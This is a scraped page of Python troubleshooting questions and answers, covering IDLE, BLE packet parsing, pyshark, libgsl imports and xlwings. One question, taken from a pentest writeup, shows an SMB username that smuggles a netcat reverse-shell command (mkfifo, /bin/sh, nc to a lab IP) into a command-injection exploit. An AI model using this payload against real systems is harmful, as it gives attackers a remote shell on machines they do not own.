IDLE 3 not printing on correct syntax - python-3.x

help here...my idle3 suddenly not working on print command. I have the following error, any clue to fix it? where's the problem?
>>> print("Hello World")
Traceback (most recent call last):
File "<pyshell#3>", line 1, in <module>
print("Hello World")
File "/usr/lib/python3.4/codecs.py", line 374, in write
self.stream.write(data)
File "/usr/lib/python3.4/idlelib/PyShell.py", line 1344, in write
raise TypeError('must be str, not ' + type(s).__name__)
TypeError: must be str, not bytes
system info:
Python 3.4.3 (default, Nov 17 2016, 01:08:31)
[GCC 4.8.4] on linux
Type "copyright", "credits" or "license()" for more information.
>>> ================================ RESTART ================================

Related

Connecting to an SMB share in python3

I'm following a pentest writeup which uses Python 2 to connect to an smb share:
Python 2.7.17 (default, Oct 19 2019, 23:36:22)
[GCC 9.2.1 20191008] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from smb.SMBConnection import SMBConnection
>>> payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 9999 >/tmp/f'
>>> username = "/=`nohup " + payload + "`"
>>> connection = SMBConnection(username, "", "", "")
>>> connection.connect("10.10.10.3",445)
I'm trying to accomplish the same thing using Python 3, this is how far I've gotten:
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from smbprotocol.connection import Connection
>>> payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 9999 >/tmp/f'
>>> username = "/=`nohup " + payload + "`"
>>> connection = Connection(username, "", "", "")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/user/.local/lib/python3.9/site-packages/smbprotocol/connection.py", line 638, in __init__
log.info("Initialising connection, guid: %s, require_signing: %s, "
TypeError: %d format: a number is required, not str
>>> import smbclient
>>> smbclient.ClientConfig(username)
<smbclient._pool.ClientConfig object at 0x7f6d093ac2e0>
>>> connection = smbclient.ClientConfig(username)
>>> connection.connect("10.X.X.X",445)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'ClientConfig' object has no attribute 'connect'
>>>
The module I am using is https://github.com/jborean93/smbprotocol
I think the problem with the last attempt on there (with smbclient) is that you need to change connection back to smbclient. As it is when you call connection the second time, you are calling smbclient.ClientConfig()
the docs suggest you do it like this(after you've done your ClientConfig):
with smbclient.open_file(r"\server\share\directory\file.txt", mode="w") as fd:
fd.write(u"file contents")
I think someone else mentioned the docs as well, but here, they have has some good examples:
https://pypi.org/project/smbprotocol/

Unable to unpack

I am getting below errors while parsing BLE packet. Any suggestion how to fix this?
Packet
b'\x04>+\x02\x01\x03\x01\xd7\xd3A\xc9\xae\xf5\x1f\x02\x01\x06\x03\x03\xaa\xfe\x17\x16\xaa\xfe\x00\xd8\x8b\x9c\xc7<:\xe7G\xefe\xbc\x00\x00\x00\x00\x15\xd1\x00\x00\xaf'
Traceback (most recent call last):
File "BluetoothWiliot.py", line 95, in <module>
dataString = parse_events(sock, 100)
File "BluetoothWiliot.py", line 47, in parse_events
print(struct.unpack("B", bytes(pkt[3])))
**struct.error: unpack requires a buffer of 1 bytes**
Traceback (most recent call last):
File "BluetoothWiliot.py", line 95, in <module>
dataString = parse_events(sock, 100)
File "BluetoothWiliot.py", line 47, in parse_events
print(struct.unpack("B", pkt[3]))
**TypeError: a bytes-like object is required, not 'int'**
int.from_bytes is normally my go to function for these situations but there are a number of options:
$ python3
Python 3.7.3 (default, Jul 25 2020, 13:03:44)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> pkt = b'\x04>+\x02\x01\x03\x01\xd7\xd3A\xc9\xae\xf5\x1f\x02\x01\x06\x03\x03\xaa\xfe\x17\x16\xaa\xfe\x00\xd8\x8b\x9c\xc7<:\xe7G\xefe\xbc\x00\x00\x00\x00\x15\xd1\x00\x00\xaf'
>>> pkt[3]
2
>>> int.from_bytes([pkt[3]], byteorder='little', signed=False)
2
>>> struct.unpack_from('B', pkt, 3)
(2,)
>>> struct.unpack('B',pkt[3:3+1])
(2,)
>>> struct.unpack('B', bytes([pkt[3]]))
(2,)

UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 61: ordinal not in range(128)

Im using python3 in windows 10 I try to use pyshark, but i get this error:
Python 3.6.2rc1 (heads/3.6:268e1fb, Jun 17 2017, 19:01:44) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import pyshark
>>> cap = pyshark.LiveCapture(output_file="pyshark.pcap")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "C:\Users\MYUSER\AppData\Local\Programs\Python\Python36\lib\site-
packages\pyshark\capture\live_capture.py", line 56, in __init__
self.interfaces = get_tshark_interfaces(tshark_path)
File "C:\Users\MYUSER\AppData\Local\Programs\Python\Python36\lib\site-
packages\pyshark\tshark\tshark.py", line 140, in get_tshark_interfaces
tshark_interfaces = check_output(parameters, stderr=null).decode("ascii")
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 61:
ordinal not in range(128)
or when I make a function:
import pyshark
def cap():
capture = pyshark.LiveCapture(interface='eth0')
capture.sniff(timeout=50)
print(capture)
cap()
And when I run it::
$_
Then I go into a infinite loop, or stay like that
I also test in a VM with ubuntu 16, with:
import pyshark
cap = pyshark.LiveCapture(interface='en0')
cap.sniff(packet_count=50)
for pkt in cap:
print(cap)
and when I use VC to debbug in the line 2, i get:
Traceback (most recent call last):
File "/home/MyVM/Desktop/program.py", line 1, in <module>
import pyshark
ImportError: No module named pyshark
but when I see in terminal:
$pip3 freeze
I get:
apturl==0.5.2
argcomplete==0.8.1
astroid==1.5.3
beautifulsoup4==4.4.1
blinker==1.3
Brlapi==0.6.4
chardet==2.3.0
checkbox-support==0.22
command-not-found==0.3
cryptography==1.2.3
defer==1.0.6
feedparser==5.1.3
guacamole==0.9.2
html5lib==0.999
httplib2==0.9.1
idna==2.0
isort==4.2.15
Jinja2==2.8
language-selector==0.1
lazy-object-proxy==1.3.1
Logbook==1.1.0
louis==2.6.4
lxml==3.5.0
Mako==1.0.3
MarkupSafe==0.23
mccabe==0.6.1
oauthlib==1.0.3
onboard==1.2.0
padme==1.1.1
pbr==3.1.1
pexpect==4.0.1
Pillow==3.1.2
plainbox==0.25
progressbar==2.3
ptyprocess==0.5
py==1.4.34
pyasn1==0.1.9
pycups==1.9.73
pycurl==7.43.0
pygobject==3.20.0
PyJWT==1.3.0
pylint==1.7.2
pyparsing==2.0.3
pyshark==0.3.7.9
python-apt==1.1.0b1
python-debian==0.1.27
python-gnupg==0.3.8
python-systemd==231
pyxdg==0.25
PyYAML==3.11
reportlab==3.3.0
requests==2.9.1
sessioninstaller==0.0.0
six==1.10.0
stevedore==1.24.0
system-service==0.3
trollius==1.0.4
ubuntu-drivers-common==0.0.0
Ubuntu-Make==17.3
ufw==0.35
unattended-upgrades==0.1
unity-scope-calculator==0.1
unity-scope-chromiumbookmarks==0.1
unity-scope-colourlovers==0.1
unity-scope-devhelp==0.1
unity-scope-firefoxbookmarks==0.1
unity-scope-gdrive==0.7
unity-scope-manpages==0.1
unity-scope-openclipart==0.1
unity-scope-texdoc==0.1
unity-scope-tomboy==0.1
unity-scope-virtualbox==0.1
unity-scope-yelp==0.1
unity-scope-zotero==0.1
urllib3==1.13.1
usb-creator==0.3.0
virtualenv==15.1.0
virtualenv-clone==0.2.6
virtualenvwrapper==4.7.2
wrapt==1.10.10
xdiagnose==3.8.4.1
xkit==0.0.0
XlsxWriter==0.7.3
and when I use terminal to run it, I go into a infinite loop like in windows
or I use python shell in ubuntu
Python 3.5.2 (default, Nov 17 2016, 17:05:23)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pyshark
>>> cap = pyshark.LiveCapture(output_file="pyshark.pcap")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/local/lib/python3.5/dist-packages/pyshark/capture/live_capture.py", line 56, in __init__
self.interfaces = get_tshark_interfaces(tshark_path)
File "/usr/local/lib/python3.5/dist-packages/pyshark/tshark/tshark.py", line 140, in get_tshark_interfaces
tshark_interfaces = check_output(parameters, stderr=null).decode("ascii")
File "/usr/local/lib/python3.5/dist-packages/pyshark/tshark/tshark.py", line 56, in check_output
raise RuntimeError("Program failed to run. Retcode: %d. Cmd: %s" % (retcode, cmd))
RuntimeError: Program failed to run. Retcode: 2. Cmd: ['/usr/bin/tshark', '-D']
>>>
And I get this error
so I dont understand what I can do to fix it.

Importing package in python error

importing procedure in python -
utina#utinax55:~$ python
Python 2.7.11+ (default, Apr 17 2016, 14:00:29)
[GCC 5.3.1 20160413] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import lal
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/utina/.local/lib/python2.7/site-packages/lal/__init__.py", line 2, in <module>
from .lal import *
File "/home/utina/.local/lib/python2.7/site-packages/lal/lal.py", line 28, in <module>
_lal = swig_import_helper()
File "/home/utina/.local/lib/python2.7/site-packages/lal/lal.py", line 24, in swig_import_helper
_mod = imp.load_module('_lal', fp, pathname, description)
ImportError: libgsl.so.19: cannot open shared object file: No such file or directory
>>> exit
libgsl.so.90 path is:
utina#utinax55:~$ locate libgsl
/usr/lib/i386-linux-gnu/libgsl.so.19
/usr/lib/i386-linux-gnu/libgsl.so.19.0.0
/usr/lib/i386-linux-gnu/libgslcblas.so.0
/usr/lib/i386-linux-gnu/libgslcblas.so.0.0.0
/usr/lib/x86_64-linux-gnu/libgsl.a
/usr/lib/x86_64-linux-gnu/libgsl.so
/usr/lib/x86_64-linux-gnu/libgsl.so.19
/usr/lib/x86_64-linux-gnu/libgsl.so.19.0.0
/usr/lib/x86_64-linux-gnu/libgslcblas.a
/usr/lib/x86_64-linux-gnu/libgslcblas.so
/usr/lib/x86_64-linux-gnu/libgslcblas.so.0
/usr/lib/x86_64-linux-gnu/libgslcblas.so.0.0.0
/usr/share/doc/libgsl-dbg
/usr/share/doc/libgsl-dev
/usr/share/doc/libgsl2
/usr/share/lintian/overrides/libgsl2
/var/cache/apt/archives/libgsl-dbg_2.1+dfsg-2_amd64.deb
/var/cache/apt/archives/libgsl-dev_2.1+dfsg-2_amd64.deb
/var/cache/apt/archives/libgsl2_2.1+dfsg-2_amd64.deb
/var/lib/dpkg/info/libgsl-dbg:amd64.list
/var/lib/dpkg/info/libgsl-dbg:amd64.md5sums
My library path:
utina#utinax55:~$ echo $LD_LIBRARY_PATH
/usr/lib/x86_64-linux-gnu/
I tried to add this path to the /etc/ld.so.conf and run "sudo ldconfig" but these changes specified in previous posts did not change the import error in python.
I also specify that I installed libgsl dependency and also lal packages were installed using synaptic package manager.

xlwings Range Error on Yosemite 10.10.3

I just installed xlwings and was trying one of the examples and I am getting a Range error. Other commands seem to work fine. This is on Yosemite 10.10.3
Any Ideas what might be wrong?
Python 2.7.6 (default, Sep 9 2014, 15:04:36)
[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.39)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from xlwings import Workbook, Sheet, Range, Chart
>>> wb = Workbook()
>>> Sheet(1).name
u'Sheet1'
>>> Range('A1').value = 'Foo 1'
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/Library/Python/2.7/site-packages/xlwings/main.py", line 622, in __init__
self.row2 = self.row1 + xlplatform.count_rows(self.xl_sheet, range_address) - 1
File "/Library/Python/2.7/site-packages/xlwings/_xlmac.py", line 145, in count_rows
return xl_sheet.cells[range_address].count(each=kw.row)
File "/Library/Python/2.7/site-packages/aeosa/appscript/reference.py", line 431, in __call__
raise TypeError('Unknown keyword argument %r.' % name)
TypeError: Unknown keyword argument 'each'.
>>>

Resources